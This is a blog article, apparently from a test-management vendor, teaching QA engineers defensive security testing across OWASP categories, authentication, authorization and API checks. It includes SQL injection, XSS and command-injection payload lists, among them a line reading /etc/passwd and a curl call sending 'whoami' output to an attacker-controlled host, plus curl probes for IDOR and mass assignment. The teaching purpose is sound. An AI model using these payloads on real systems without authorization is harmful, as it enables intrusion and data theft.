Security Testing for QA Engineers: What You Need to Know

Security Testing for QA Engineers: What You Need to Know

Daniel Okafor
Daniel Okafor
··21 min read

Security Testing for QA Engineers: What You Need to Know

A QA engineer at a healthcare startup ran a routine test — entering <script>alert('XSS')</script> into a patient name field. The browser popped an alert box. That single test case uncovered a cross-site scripting vulnerability that could have exposed thousands of patient records. The fix took 20 minutes. Finding it after a breach would have cost the company $4.5 million — the average cost of a healthcare data breach according to IBM's 2024 Cost of a Data Breach Report.

Security testing doesn't require a PhD in cryptography. Most exploitable vulnerabilities stem from the same handful of mistakes — missing input validation, broken authentication, excessive data exposure — and QA engineers are uniquely positioned to catch them. You already think about edge cases, unexpected inputs, and things that "shouldn't happen but might." Security testing is that same mindset applied to malicious intent.

You don't need to become a penetration tester. But adding a security lens to your existing QA workflow catches vulnerabilities that developers miss — because developers test whether things work, while QA engineers test whether things break.

Why QA Engineers Should Care About Security

Security has traditionally been someone else's job — the security team, the DevOps team, or an annual penetration test performed by an external firm. That model is broken.

ℹ️

The window of vulnerability

The average time between a vulnerability being introduced and discovered is 277 days (IBM, 2024). A QA engineer who tests security during sprint cycles can shrink that window to days or even hours — before the code reaches production.

Here's the reality:

  • Most companies don't have a dedicated security team. In organizations under 500 employees, security testing falls on developers and QA — whether the org chart says so or not. A 2024 SANS Institute survey found that 62% of mid-market companies rely on their development and QA teams for day-to-day security testing.
  • Pen tests happen too late. Annual or quarterly penetration tests find issues months after they were introduced. By then, the code is in production and the fix requires a hotfix release. The average pen test covers only 60-70% of the application surface area in the allotted time.
  • Automated security scanners miss logic flaws. Tools like SAST and DAST catch known patterns, but they can't understand business logic. A scanner won't know that letting a customer apply a 100% discount code twice is a vulnerability specific to your application. According to Veracode's 2024 State of Software Security report, automated tools catch only 35-45% of vulnerabilities — the rest require human testing.
  • QA already has the right mindset. You test invalid inputs, boundary conditions, and unexpected user behavior every day. Security testing extends that thinking by asking, "What if the input is intentionally malicious?"

The Cost of Getting It Wrong

The financial impact of security vulnerabilities has escalated dramatically. Here are the data points that make the business case for QA-driven security testing:

  • Average data breach cost: $4.88 million globally in 2024, up 10% from the prior year (IBM)
  • Cost per record compromised: $164 per record for PII, $189 for healthcare records
  • Regulatory fines: GDPR fines can reach 4% of annual global turnover; HIPAA fines up to $1.5 million per violation category per year
  • Customer churn: 65% of consumers lose trust in a company after a data breach; 33% stop doing business with them entirely (Ponemon Institute)
  • Time to identify a breach: 194 days on average — during which attackers have continuous access

Compare these costs to the cost of a QA engineer spending 2-4 hours per sprint on security testing. The ROI is not subtle.

The OWASP Top 10: A QA Engineer's Guide

The OWASP Top 10 is the industry-standard list of the most critical web application security risks. You don't need to memorize every subcategory, but understanding the major categories helps you prioritize your security test cases.

You won't test all 10 categories on every sprint. Focus on the top 4 — Broken Access Control, Cryptographic Failures, Injection, and Authentication Failures — as they account for the majority of real-world breaches.

Deep Dive: Broken Access Control

Broken Access Control has been the number one risk in the OWASP Top 10 since 2021, and for good reason. It is the most commonly exploited vulnerability category, found in 94% of applications tested by OWASP. Here is what it looks like in practice and how to test for it systematically.

Access control enforces rules about who can do what. When it breaks, users can:

  • View other users' data by manipulating IDs in URLs or API parameters
  • Perform admin actions without admin privileges
  • Access functionality they haven't paid for (premium features on a free account)
  • Modify or delete resources belonging to other users

A systematic approach to testing broken access control:

  1. Create a role matrix: List every user role (anonymous, free user, paid user, admin, superadmin) and every endpoint or action in the application
  2. Test each intersection: For every role, attempt every action. An anonymous user should not be able to access /api/admin/users. A free user should not be able to access premium features.
  3. Test with ID manipulation: For every resource that uses an ID in the URL (like /orders/42), try accessing resources belonging to other users
  4. Test with method manipulation: If GET /api/users/42 returns the user profile, try PUT, PATCH, and DELETE to see if unauthorized modifications are possible

Practical Security Test Cases You Can Run Today

You don't need specialized tools for these tests. A browser, your API testing tool of choice, and a willingness to try things that "shouldn't work" are enough to get started.

Input Validation Testing

Every field that accepts user input is a potential attack vector. Test each one with malicious payloads:

SQL Injection:

' OR '1'='1
'; DROP TABLE users; --
' UNION SELECT username, password FROM users --
1; SELECT * FROM information_schema.tables --
' OR 1=1 LIMIT 1 --

Enter these strings in login forms, search boxes, URL parameters, and any field that might interact with a database. If the application returns unexpected data, throws a database error, or behaves differently than with normal input — you've found a vulnerability.

Here is a more systematic approach to SQL injection testing using curl:

# Test login endpoint for SQL injection
curl -X POST https://staging.example.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"email": "admin@example.com", "password": "'\'' OR '\''1'\''='\''1"}'

# Test search endpoint for SQL injection
curl "https://staging.example.com/api/search?q=%27%20OR%20%271%27%3D%271"

# Test numeric parameter for SQL injection
curl "https://staging.example.com/api/users/1%20OR%201=1"

If any of these requests return data they shouldn't (all users instead of one, a successful login without valid credentials, or a database error message), the endpoint is vulnerable.

Cross-Site Scripting (XSS):

<script>alert('XSS')</script>
<img src=x onerror="alert('XSS')">
<svg onload="alert('XSS')">
javascript:alert('XSS')
"><script>alert(document.cookie)</script>
<div onmouseover="alert('XSS')">hover me</div>

Enter these in name fields, comment boxes, profile descriptions — anywhere that user input is displayed back to the screen. If the script executes, the application is vulnerable to XSS. There are three types of XSS to be aware of:

  • Reflected XSS: The malicious script is reflected off the server in an error message, search result, or response. Test by putting payloads in URL parameters and form submissions.
  • Stored XSS: The malicious script is permanently stored on the target server (in a database, comment, forum post). Test by submitting payloads into persistent fields and checking if they execute when viewed by other users.
  • DOM-based XSS: The vulnerability exists in client-side JavaScript rather than server-side code. Test by manipulating URL fragments and checking if the page's JavaScript processes them unsafely.

Command Injection:

; ls -la
| cat /etc/passwd
`whoami`
$(id)
; curl http://attacker-controlled-server.com/$(whoami)

Test these in fields that might interact with the operating system — file upload names, server-side processing inputs, or any field that triggers backend commands.

💡

Build a security test data file

Create a text file with common injection payloads organized by type (SQL, XSS, command injection, path traversal). Reuse it across projects. OWASP maintains cheat sheets with hundreds of payloads — download them and keep them handy. A well-organized payload library saves hours over the course of a project.

Authentication Testing

Authentication is one of the most commonly broken features in web applications. Test these scenarios:

  • Weak password acceptance — Can you create an account with "123456" or "password"? Does the system enforce minimum length, complexity, or check against known breached passwords? Test with the top 20 most common passwords (available from the HaveIBeenPwned dataset).
  • Brute force protection — Try logging in with wrong passwords 20 times in a row. Does the system lock the account, introduce delays, or show a CAPTCHA? If not, attackers can try thousands of passwords per minute using automated tools.
  • Session management — Log in, copy your session token, log out. Can you still use the old session token to access protected endpoints? Sessions should be invalidated on logout.
  • Concurrent sessions — Log in on two different browsers. Does the application allow unlimited concurrent sessions? For sensitive applications, it shouldn't.
  • Password reset flow — Does the reset link expire? Can it be used twice? Does the reset email reveal whether the email address exists in the system (email enumeration)?

A comprehensive authentication test checklist:

Authentication Security Checklist:
[ ] Passwords under 8 characters are rejected
[ ] Common passwords (123456, password, qwerty) are rejected
[ ] Account lockout after 5-10 failed attempts
[ ] Login form protected against CSRF
[ ] Session token regenerated after login
[ ] Session invalidated on logout
[ ] Session timeout after inactivity (30 min for standard, 5 min for sensitive)
[ ] Password reset tokens expire within 1 hour
[ ] Password reset tokens are single-use
[ ] Email enumeration not possible via login/reset forms
[ ] MFA available and enforced for admin accounts
[ ] Credentials never transmitted over HTTP
[ ] Password not visible in URL parameters
[ ] "Remember me" tokens properly scoped and expirable

Authorization Testing

Authentication proves who you are. Authorization determines what you're allowed to do. They break differently.

Test these patterns:

  • Horizontal privilege escalation — User A can view their order at /orders/42. Can User A also view User B's order at /orders/43 by simply changing the ID? This is called an Insecure Direct Object Reference (IDOR) and is shockingly common. A 2024 HackerOne report listed IDOR as the third most commonly reported vulnerability in bug bounty programs.
  • Vertical privilege escalation — A regular user can access /dashboard. Can they also access /admin/dashboard or /api/admin/users?
  • Method-based access control — You can GET /api/users/42 but not DELETE /api/users/42. What about PUT? PATCH? Sometimes developers forget to restrict all HTTP methods.
  • API endpoint discovery — Try accessing common admin endpoints: /admin, /api/admin, /swagger, /graphql, /debug, /metrics. These should either not exist or require authentication.
# Test authorization with curl
# First, get a regular user's token
TOKEN="your-regular-user-token"

# Try accessing admin endpoints
curl -H "Authorization: Bearer $TOKEN" https://api.example.com/admin/users
curl -H "Authorization: Bearer $TOKEN" https://api.example.com/admin/config
curl -X DELETE -H "Authorization: Bearer $TOKEN" https://api.example.com/api/users/1

# Test IDOR - access another user's resources
curl -H "Authorization: Bearer $TOKEN" https://api.example.com/api/users/999/profile
curl -H "Authorization: Bearer $TOKEN" https://api.example.com/api/orders/12345
curl -H "Authorization: Bearer $TOKEN" https://api.example.com/api/invoices/67890

# Test method-based access control
curl -X PUT -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"role": "admin"}' \
  https://api.example.com/api/users/42

# Test endpoint discovery
for endpoint in /admin /swagger /graphql /debug /metrics /actuator /env /health; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://api.example.com$endpoint")
  echo "$endpoint: $STATUS"
done

API Security Testing

Modern applications are API-driven, and many security vulnerabilities live at the API layer. QA engineers should test APIs directly, not just through the UI.

Test for excessive data exposure: Call an API endpoint and examine every field in the response. Does the user profile endpoint return the password hash? Does the order endpoint return the full credit card number? APIs often return more data than the UI displays, and that extra data is accessible to anyone who inspects network traffic.

# Check what data the API returns
curl -H "Authorization: Bearer $TOKEN" https://api.example.com/api/users/me | python -m json.tool

# Look for sensitive fields in the response:
# - password, password_hash, salt
# - credit_card, card_number, cvv
# - ssn, social_security_number
# - internal_id, admin_flag, permissions
# - tokens, api_keys, secrets

Test for mass assignment: If the API accepts JSON for updating a user profile, try adding fields that shouldn't be user-modifiable:

# Normal profile update
curl -X PUT -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name": "John Doe", "email": "john@example.com"}' \
  https://api.example.com/api/users/me

# Mass assignment attempt — try adding admin privileges
curl -X PUT -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name": "John Doe", "role": "admin", "isAdmin": true, "permissions": ["all"]}' \
  https://api.example.com/api/users/me

If the server accepts and applies the role or isAdmin fields, you have found a mass assignment vulnerability.

Test rate limiting: APIs should limit the number of requests a client can make in a given time window. Without rate limiting, attackers can brute-force credentials, scrape data, or overwhelm the server.

# Test rate limiting with a simple loop
for i in $(seq 1 100); do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST https://api.example.com/api/login \
    -H "Content-Type: application/json" \
    -d '{"email": "test@test.com", "password": "wrong"}')
  echo "Request $i: $STATUS"
done
# After 10-20 requests, you should see 429 (Too Many Requests)
# If you get 200/401 for all 100 requests, rate limiting is missing

HTTPS and Transport Security

These checks take seconds but catch critical misconfigurations:

  • HTTP to HTTPS redirect — Does http://yoursite.com automatically redirect to https://yoursite.com? Or does it serve content over unencrypted HTTP?
  • Mixed content — Does the HTTPS page load any resources (images, scripts, stylesheets) over HTTP? This undermines the encryption.
  • Security headers — Check for headers like Strict-Transport-Security, X-Content-Type-Options, X-Frame-Options, and Content-Security-Policy. Their absence exposes the application to clickjacking, MIME sniffing, and other attacks.
  • Certificate validity — Is the TLS certificate valid, not expired, and issued for the correct domain? Browsers catch this, but API clients might not.

A quick header check you can run against any URL:

# Check security headers
curl -s -I https://yoursite.com | grep -iE "(strict-transport|x-content-type|x-frame|content-security|x-xss)"

# Expected output should include:
# Strict-Transport-Security: max-age=31536000; includeSubDomains
# X-Content-Type-Options: nosniff
# X-Frame-Options: DENY (or SAMEORIGIN)
# Content-Security-Policy: default-src 'self'; ...

# Check for HTTP to HTTPS redirect
curl -s -o /dev/null -w "%{redirect_url}" http://yoursite.com
# Should redirect to https://yoursite.com

Tools for QA Security Testing

You don't need to invest in expensive enterprise tools to start security testing. Several free tools cover the majority of use cases.

OWASP ZAP (Zed Attack Proxy) — A free, open-source web application security scanner. It acts as a proxy between your browser and the application, intercepting and analyzing traffic. It can automatically scan for common vulnerabilities (SQL injection, XSS, misconfigurations) and lets you manually explore and test. Start with the automated scan — point it at your staging URL and let it run for 30 minutes.

ZAP also supports a headless mode for CI/CD integration:

# Run ZAP baseline scan in CI/CD
docker run -t owasp/zap2docker-stable zap-baseline.py \
  -t https://staging.example.com \
  -r zap-report.html \
  -l WARN \
  -d

# The baseline scan takes 1-5 minutes and checks for:
# - Missing security headers
# - Cookie security flags
# - Information disclosure
# - Common misconfigurations

Burp Suite Community Edition — Another proxy-based tool popular with security professionals. The free Community Edition includes an intercepting proxy, a repeater for replaying modified requests, and basic scanning. It has a steeper learning curve than ZAP but offers more manual testing capabilities.

nuclei — An open-source vulnerability scanner from ProjectDiscovery that uses YAML-based templates to detect security issues. It has thousands of community-contributed templates covering CVEs, misconfigurations, and common vulnerabilities. It is fast, scriptable, and integrates well with CI/CD.

Both ZAP and Burp Suite integrate with CI/CD pipelines, allowing you to run security scans automatically on every build.

Integrating Security into Your QA Workflow

Security testing doesn't need its own sprint or dedicated phase. Integrate it into your existing workflow:

  1. Add security test cases to every feature. When writing test cases for a new login feature, include tests for brute force, session fixation, and credential stuffing alongside your functional tests. A practical approach: for every user input field, add one SQL injection test and one XSS test. For every authenticated endpoint, add one unauthorized access test.

  2. Include security in your test plan template. Add a "Security Considerations" section to your test plan. For each feature, ask: "What could an attacker do with this?" This question shifts the QA mindset from "does this work?" to "can this be abused?"

  3. Run automated scans weekly. Schedule OWASP ZAP to scan your staging environment weekly. Review the results during your regular triage meeting. Over time, you will see the same categories of findings decreasing as the development team learns to avoid them.

  4. Flag security bugs differently. Security bugs need different handling — they might need to skip the normal backlog and get fixed immediately, especially if the application is already in production. Establish a severity classification:

    • Critical: Exploitable without authentication, data exposure, remote code execution. Fix within 24 hours.
    • High: Requires authentication to exploit, limited data exposure. Fix within 1 sprint.
    • Medium: Difficult to exploit or limited impact. Fix within 2 sprints.
    • Low: Informational, best practice violations. Fix when convenient.
  5. Build a security regression suite. Every security vulnerability you find and fix should become a regression test case. This prevents the same vulnerability from being reintroduced when code is refactored or features are redesigned.

Creating a Security Testing Cadence

Here is a practical cadence that works for most agile teams:

| Activity | Frequency | Time Investment | Owner | |---|---|---|---| | Input validation tests (new features) | Every sprint | 1-2 hours per feature | QA engineer | | Authorization testing (new endpoints) | Every sprint | 30 min per endpoint | QA engineer | | OWASP ZAP automated scan | Weekly | 15 min review time | QA lead | | Dependency vulnerability scan | Every build (automated) | 0 min (CI/CD) | Automated | | Security header check | Monthly | 15 minutes | QA engineer | | Full OWASP Top 10 review | Quarterly | 4-8 hours | QA team | | Penetration test (external) | Annually | N/A (outsourced) | Security team |

This cadence provides continuous security coverage without requiring a dedicated security team. The total investment is approximately 4-8 hours per QA engineer per sprint — roughly 10-20% of their time.

Common Mistakes in Security Testing

1. Only testing the UI. If the frontend prevents you from entering SQL injection in a form field, that's nice — but attackers use curl, Postman, and custom scripts. Always test the API directly, bypassing frontend validation entirely. Frontend validation is a user experience feature, not a security control.

2. Testing only in isolation. Some vulnerabilities only appear when features interact. A file upload feature might be secure on its own, but what happens when the uploaded filename is displayed on another page without sanitization? Test the full data flow from input to storage to display.

3. Forgetting about old endpoints. Legacy API versions, deprecated admin panels, and forgotten debug endpoints are prime attack targets. Include endpoint discovery in your security testing routine. A quick nmap scan or directory brute-force tool can reveal endpoints that are not linked from the UI but are still accessible.

4. Treating security as a one-time activity. New code introduces new vulnerabilities. Security testing needs to happen continuously — not just before a compliance audit. Every new feature, every API endpoint change, and every dependency update is an opportunity for new vulnerabilities to enter the codebase.

5. Not reporting findings effectively. A security bug report needs to include the attack vector, the potential impact, and steps to reproduce. "There might be an XSS issue" doesn't get fixed. "Entering <script>alert(1)</script> in the comment field on /posts/new executes JavaScript in the browser, which could be used to steal session cookies" gets fixed immediately.

6. Assuming HTTPS means secure. HTTPS encrypts data in transit, but it does nothing to prevent SQL injection, XSS, broken access control, or any other application-level vulnerability. HTTPS is necessary but not sufficient.

7. Not testing error handling. Error pages and error messages are frequent sources of information disclosure. Submit malformed requests, trigger 500 errors, and check whether the response reveals stack traces, database connection strings, internal IP addresses, or framework version numbers. This information helps attackers plan more targeted attacks.

⚠️

Test in staging, not production

Never run automated security scans or injection tests against production environments unless you have explicit authorization. Security testing can trigger alerts, corrupt data, or cause outages. Always use a staging or dedicated security testing environment.

How TestKase Helps Manage Security Test Cases

Security test cases need to be tracked, organized, and executed consistently — not buried in a spreadsheet that gets forgotten after the compliance audit. TestKase lets you create dedicated security test suites organized by OWASP category, feature area, or risk level.

When you discover a vulnerability, you can create a test case in TestKase that documents the exact steps to reproduce it, link it to the relevant user story, and mark it as a regression test so it gets executed on every future release. This builds a living library of security validations that grows with your application.

TestKase's tagging system lets you filter by security-specific labels — "OWASP-A01", "injection", "auth-bypass" — so you can quickly pull up all security tests before a release and ensure nothing is skipped. Combined with test run reporting, you get a clear audit trail showing what was tested, when, and by whom — which is exactly what auditors ask for during compliance reviews.

For teams in regulated industries (healthcare, finance, government), this audit trail is not optional. TestKase's structured execution records provide the documentation that HIPAA, SOC 2, PCI-DSS, and ISO 27001 auditors require — without the overhead of maintaining separate compliance documentation.

TestKase's AI can also help generate security test cases for new features. Describe the feature and its input fields, and the AI suggests security-relevant test cases covering injection, access control, and data exposure scenarios. This ensures security testing is not forgotten when teams are under pressure to deliver features quickly.

Organize Security Tests with TestKase

Conclusion

Security testing isn't a separate discipline reserved for specialists — it's a natural extension of the QA mindset. You already think about what could go wrong. Security testing asks what could go wrong intentionally.

Start small: add injection payloads to your input validation tests, check authorization on every endpoint, and run OWASP ZAP against your staging environment once a week. These three steps alone will catch the majority of common web application vulnerabilities before they reach production. Then expand: test APIs directly, build a security regression suite, and establish a cadence that provides continuous coverage.

The numbers make the case clearly. A QA engineer spending 4-8 hours per sprint on security testing costs a fraction of what a single data breach costs. Every vulnerability you catch before production is a crisis that never happens.

Your users trust you with their data. Security testing is how you earn that trust.

Stay up to date with TestKase

Get the latest articles on test management, QA best practices, and product updates delivered to your inbox.

Subscribe

Share this article

Contact Us